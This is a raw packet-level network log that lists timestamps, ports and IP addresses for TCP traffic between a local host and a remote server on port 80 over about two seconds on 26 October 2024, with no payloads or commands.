Oct 26, 2024 08:53:24.204248905 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.204287052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.204315901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.204332113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.204349995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.204375029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.244244099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.247287035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.247301102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.247371912 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.258977890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.259026051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.259047985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.259063005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.259078026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.259095907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.259179115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.259179115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.259179115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.278888941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.278913021 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.278925896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.278942108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.278990030 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.278990030 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.321414948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321513891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321536064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321552038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321563005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.321568012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321603060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321624994 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.321655989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321657896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.321672916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321686983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.321738005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.376506090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376530886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376545906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376562119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376579046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376578093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.376609087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.376651049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376666069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376682043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.376697063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.376719952 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.396625042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.396641970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.396656990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.396696091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.438805103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.438839912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.438855886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.438901901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.438919067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.438918114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.438961029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.439039946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.439047098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.439055920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.439073086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.439141989 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.481969118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.481985092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.482063055 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.493657112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.493720055 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.493815899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.493832111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.493864059 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.493993044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.494009972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.494060993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.494075060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.494076014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.494093895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.494124889 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.513906956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.513922930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.513941050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.513974905 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.514012098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.556360006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556405067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556423903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556441069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556453943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556468964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556487083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556485891 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.556504011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.556523085 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.556523085 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.556591034 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.610960007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611011028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611025095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611041069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611077070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.611093044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611093044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.611110926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611155987 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.611494064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611510038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611526012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.611569881 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.631180048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.631231070 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.631234884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.631244898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.631282091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.673712015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673907042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673918009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673929930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673944950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673959017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673971891 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673985004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.673998117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.674010038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.674015999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.674061060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.674659014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728482962 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.728668928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728765965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728777885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728787899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728800058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728833914 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.728885889 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.728899002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728919029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728930950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.728944063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.728982925 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:24.748827934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.748862028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.748877048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:24.748915911 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103226900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103250980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103264093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103276968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103290081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103293896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103301048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103322029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103333950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103337049 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103344917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103396893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103528023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103544950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103565931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103576899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103583097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103590012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103600025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103611946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103617907 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103626013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.103632927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.103663921 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.104389906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104434013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104448080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104473114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.104509115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104521990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104536057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104542971 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.104548931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104562998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.104579926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.104603052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.105387926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.105400085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.105417967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.105428934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.105441093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.105446100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.105463982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.135648966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135704041 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.135759115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135777950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135797024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135809898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135823011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135826111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.135837078 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135849953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135854006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.135864019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.135874033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.135905981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.135992050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.136032104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.136081934 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.146749973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146764040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146778107 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146796942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146806955 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.146811962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146847010 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.146928072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146975040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.146977901 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.147687912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.147725105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.147743940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.147753954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.147768021 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.147799015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.178258896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.178272963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.178322077 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.220870972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.220884085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.220947981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.252984047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.253010988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.253151894 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.264153004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.264168024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.264178991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.264190912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.264223099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.264249086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.265093088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.265105009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.265117884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.265157938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.295694113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.295707941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.295751095 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.337846041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.337857008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.337857962 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.337898970 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.370105982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.370119095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.370182991 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.381375074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.381429911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.382435083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.382494926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.382503033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.382508039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.382519960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.382548094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.382566929 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.382595062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.382663012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.384183884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.412985086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.413007975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.413074017 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.455228090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.455271959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.455329895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.683460951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683485031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683526039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683537006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683543921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683554888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683562040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683614016 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.683650017 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.683713913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683729887 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683739901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683751106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683777094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.683777094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.683805943 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.683891058 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683953047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683964014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.683984041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684000015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684010983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684020996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684027910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.684067965 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.684123039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684139967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684165001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684180975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684182882 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.684217930 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.684222937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684240103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.684290886 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.722477913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.722511053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.722522974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.722588062 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.722630024 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.734899998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.734935045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.734970093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.735027075 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.765259027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.765294075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.765326023 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.765362024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.765396118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.765430927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.765443087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.765476942 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.811131001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.811218023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.811268091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.848365068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.848377943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.848396063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.848428011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.852210999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.852231979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.852242947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.852253914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:25.852273941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:25.852293015 CEST	49759	80	192.168.2.7	185.215.113.16
